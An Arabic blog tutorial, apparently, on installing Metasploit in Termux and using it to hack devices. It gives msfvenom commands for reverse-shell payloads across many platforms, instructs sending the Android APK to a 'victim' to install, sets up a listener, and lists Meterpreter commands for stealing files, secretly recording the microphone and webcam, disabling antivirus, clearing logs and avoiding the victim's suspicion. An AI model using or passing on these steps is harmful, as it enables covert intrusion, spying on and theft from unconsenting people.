U3F1ZWV6ZTEzODQyNDU2ODc5NDQ0X0ZyZWU4NzMzMDE4NzY4NTUw

شرح ماهو ميتاسبلويت وكيف اعمل به ك مبرمج



معلومات عن مشروع 



هو مشروع يهتم بالأمن المعلوماتي عبر البحث في الثغرات الأمنية ويساعد في اختبارات الاختراق وتطوير أنظمة كشف التسللات. وأهم إنجازات هذا المشروع هو منصة ميتاسبلوت المفتوحة المصدر وهي أداة تقوم بفتح منفذ في الجهاز المستهدف بهدف اختراقه.

أنشأت ميتاسبلوت من قبل HD Moore سنة 2003، كأداة شبكية محمولة مبرمجة بلغة بيرل. سنة 2007 أعيد برمجتها كليا بواسطة لغة روبي. سنة 2009 أعلن أنه وقع الإستحواذ عليها من قبل Rapid7، وهي شركة أمنية حلول لمعالجة نقاط الضعف في الأنظمة. و كما أنه يمكن استعمال Metasploit للبحث عن ثغرات الأنظمة فإنه يمكن من خلالها اجراء اختراقات غير قانونية/شرعية


اختيار واعداد لعمل الهجمة (باختيار واحدة من بين أكثر من 1577 ثغرة موجودة على مختلف الانظمة من وندوز، ماك أو لينكس

التحقق من أن النظام المستهدف يمكن تطبيق الاختراق عليه

اختيار واعداد البايلود (برمجية ضارة يرسلها المخترق للضحية لفتح قناة تواصل وتشبه في طريقة عملها فيروس حصان طروادة أو فيروس الدودة وعلى سبيل المثال يمكن استغلالها في عمل تحكم عبر بروتوكول VNC)

اختيار طريقة تشفير لتجاوز أنظمة كشف التسللات كتلك الموجودة في مضادات الفيروسات

تنفيذ الهجمة

و هذه الخطوات المتبعة لتنفيذ أي هجوم عبر أي بايلود وعمل الميتاسبلوت هنا هو تسهيل عمل المخترقين. كما نذكر أن الميتاسبلوت يعمل على أغلب أنظمة يونكس (تشمل لينكس والماك) والوندوز وهو متوفر بعدة لغات.

جميع معلومات مأخوذه من ويكيبيديا تستطيع رئيتها هناك ولاكن لو انك لم تعلم تسطيع رئيتها هنا ليكون لك خبره 



نبدا بشرح التثبيت 

افتح نافذه جديده في termux وقم بضع الاوامر بالترتيب وتأكد بأن الاتصال في الانترنت قوي لكي تتم عمليه بدون أخطاء

pkg update

pkg upgrade

pkg install unstable-repo

pkg install metasploit

هذه الاوامر الاساسيه للتثبيت والاسهل اما عن التشغيل تحتاج امر msfconsole 

ستفتح معك الواجه الرسوميه للمشروع 

وهناك طرق ثانيه للتثبيت ولاكن انصحك بالطريقه الاساسيه 

طريقه ثانيه 

Apt update

Apt upgrade –y

Pkg install wget

Pkg install curl

Pkg install openssh

Pkg install git –y

apt install ruby

gem install bundle

gem install bundler

pip install bundle

git clone https://github.com/rapid7/metasploit-framework.git

cd $HOME

ls

cd metasploit-framework

./msfconsole

هنا ايضا حملنا اداه ولاكن بحزمه git طريقه التشغيل تختلف قليلا لاكن للمشكله 

ان لم تنجح معك تستطيع تثبيتها عن طريق TOOL-X


1- apt update && apt upgrade -y

2- pkg install git

3- gem install bundle

4- gem install bundler

5- pip install bundle

6- git clone https://github.com/Rajkumrdusad/Tool-X.git

7- cd Tool-X

8- chmod +x install.aex

9- ./install.aex

لاكن اشدد على الطريقه الأولى لانها الافضل وتثبت بدون أخطاء 

الان نبدا بتذكره بسيطه مشروع metasploit مشروع اختبار اختراق اغلب الهكرز يقومون بالاختراق عن طريق بايلود والبايلود لو كان مشروع لوحده لكان لا يتعده 2ميجا على مااظن لست متأكد وحجم مشروع metasploit هو 600ميجا هل هذا يعني ان امكانيه المشروع بايلود فقط؟ 

بالطبع لا ولاكن تحتاج التعمق فيها لكي تعرف طرق الاستغلالات الثانيه 

شرع عن اوامر الاداه 

يمكنك اعطاء الامر helpليظهر لك الاوامر داخل الاداه ويمكنك ترجمتها على google لكي تستطيع فهمها 

الان لنقم بصنع بايلود 

لعمل بايلود للاندرويد 

msfvenom -p android/meterpreter/reverse_tcp LHOST=### LPORT= $$$ R> /sdcard/elias.apk

طبعا بدال ###حط الهوست اذا كان للاختراق خارجي حطو من نجررك او اذا كنت تيتخدم خدمه ثانيه حطو منها 

ومكان $$$حط بورت اذا كان داخلي حط بورت الي فتحته من نجروك واذا كان خارجي حط بورت الي عطاك يا الاداه مع بيكون حد هوست تمام الكلام 

بعدها ترسل ملف للضحيه ويثبته وتبدا اختراق 

لصنع بايلود للينكس 

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

لصنع بايلود يخترق الويندز 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

لصنع بايلود يخترق ماكتنوش 

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

لصنع بايلود يخترق سيرفر بلغه php

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

صنع بايلود يخترق سيرفر بلغه asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

لصنع بايلود يخترق سيرفر بلغه jsc

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

لصنع بايلود يخترق سيرفر بلغه wer

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

لصنع بايلود بلغه python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

لصنع بايلود بلغه bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

لصنع بايلود بلغه pele

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

هذا انواع بايلودات مختلفه ولكل بايلود له عمله الخاص الان لنفتح الجلسه على ميتاسبلوت بعد ارسال البايلود للضجيه 

msfconsole

use multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST $$$ 

بدال $$$حط الهوست الي حطيتو في نجررك 

set LPORT & & & 

بدال & & & حط بورت الي فتحته في نجروك 

طبعا ذا لو كان اختراق خارجي 

exploit

run

هكذا لقد تم فتح الجلسه تماما بدون مشاكل

للتحكم بجهاز الضحيه ضع الامر helpسوف يساعدك 

سيظهر لك اوامر التحكم بجهاز الضحيه. 

بعض الاوامر للتسهيل 


لإعادة تشغيل جهاز الضحية :
 reboot 
-------------------------------------------------
 لإطفاء جهاز الضحية :
 shutdown 
------------------------------------------------ 
 لإظهار معلومات حول نظام الضحية مثل نظام التشغيل و لغة الجهاز :
 sysinfo 
-----------------------------------------------
 لإلتقاط صورة من شاشة الضحية : 
screenshot 
---------------------------------------------- 
 لإظهار اتصالات الشبكة وجميع التطبيقات و الملفات المتصلة بالأنترنت و المستهلكة للأنترنت : 
netstat 
--------------------------------------------- 
 للدخول الى الملفات الداخليه و كتابة الأوامر وكأنك في جهاز الضحية : 
shell 
--------------------------------------------- 
لإقلاع أي تطبيق على جهاز الضحية بأمر واحد منك أكتب هذا الأمر : 
execute -f Ahmed.apk 
طبعا غير Ahmed إلى إسم التطبيق الذي تريده أن يشتغل.
--------------------------------------------- 
لإظهار جميع البرامج التي تشتغل في جهاز الضحية اكتب : 
ps 
--------------------------------------------- 
 لرفع أي ملف من عندك الى جهاز الضحية : مثال : upload /sdcard/Ahmed.apk \Ahmed.apk
استبدل Ahmed بإسم الملف أو التطبيق أو اي شيء تريد رفعه.
طبعا هذا بعد الدخول الى مكان التطبيق أو الصوره أو أي شيء وطبعا للدخول إلى ملفات الضحيه نفذ هذا الأمر :
cd /sdcard
--------------------------------------------- 
 لتحميل أي ملف أو صورة من جهاز الضحية الى جهازك : 
download Ahmed.apk
غير اسم Ahmed الى اسم الملف و أيضا صيغة apk الى صيغة الملف.
طبعا هذا بعد الدخول الى مكان التطبيق أو الصوره أو أي شيء وطبعا لدخول إلى ملفات الضحيه أطلب الأمر :
cd /sdcard
--------------------------------------------- 
أوامر مهمه :
أولا هذا الامر :
بعد دخولك مباشر على الضحيه 
cd /sdcard
                        sdcard هذا مكان الذاكره الداخليه
أما اذا طلبت 
cd /sdcard1
                    sdcard1 هذا مكان الذاكره الخارجيه
أما معنى cd فهو أمر فتح الملفات 
يمكنك أن تكتب أمر .. cd للرجوع الى الوراء
وأيضا للدخول لملف أكتب :
 cd Ahmed
قم بإستبدال Ahmed بإسم الملف الذي تريد ذهاب اليه.
أما هذا الأمر pwd يبين لك اسم المكان الذي تتواجد به من البدايه للنهايه.
وأيضا هذا الأمر ls يظهر لك الملفات الموجودة و أين أنت أيضا.
وأيضا Ctrl+l هذا لمسح الكلام الذي يتواجد في الشاشه.

----------------------------------------------- 
هذا الأمر لحذف أي ملف : 
rm (Ahmed)
قم بإستبدال Ahmed الى الملف او البرنامج او الصورة الذي تريد ان تحذفها.
-----------------------------------------------  
لإغلاق جلسة الاختراق لفترة معينة من الزمن طبعا هذا مهم حتى لا يشك الضحية : 
sleep 5 
غير 5 الى عدد الثواني التي تحب فيها غلق جلسة الاختراق يمكنك وضع ساعة عن طريق كتابة 3600 أي 3600 تانية = ساعة.
----------------------------------------------- 
لمسح سجل الأحدات و الإختراق (تفيد في الحماية) : clearev 
----------------------------------------------- 
هذا الأمر مفيد جدا دوره تعطيل جميع مضادات الفيروسات في جهاز الضحية : 
run killav.rb 
----------------------------------------------- 
للتجسس على مايك mic الخاص بالضحية و سماع كل ما يقوله الضحية : 
record_mic -d 5 
غير 5 الى عدد الـثواني الذي تريد تسجيل الصوت فيها متلا 60 يسجل كل ما يقوله الضحية لمدة دقيقة. 
طبعا الزمن بالتانية s 
---------------------------------------------- 
لإلتقاط صورة من كاميرا الجهاز :
 webcam_snap 
---------------------------------------------- 
لمشاهدة كل ما يفعله الضحية من الكاميرا أي التجسس على الكاميرا : 
webcam_stream -d 60 
غير 60 الى عدد الثواني الذي تريده.

وهذه أوامر الأخرى :

1-bgkill قفل برامج الضحية
2-bglis البرامج التي شغالة عند الضحية
3-exit للخروج
4-help للمساعدة
5-info استخراج معلومات
6-migrate للعب بالبروسسر و تنقل الباك دور
7-read للقراءة
8-run لتشغيل برامج الضحية
9-use است

هنا قد وصلت نهايه المدونه طبعا المدونه متوجه للناس التي معها جبره وليست مبتدأه لذالك لا بأس ان لم تفهم حاول تعلم على termux وستنجح بالتأكيد في فهم الاوامر


تعليقات
الاسمبريد إلكترونيرسالة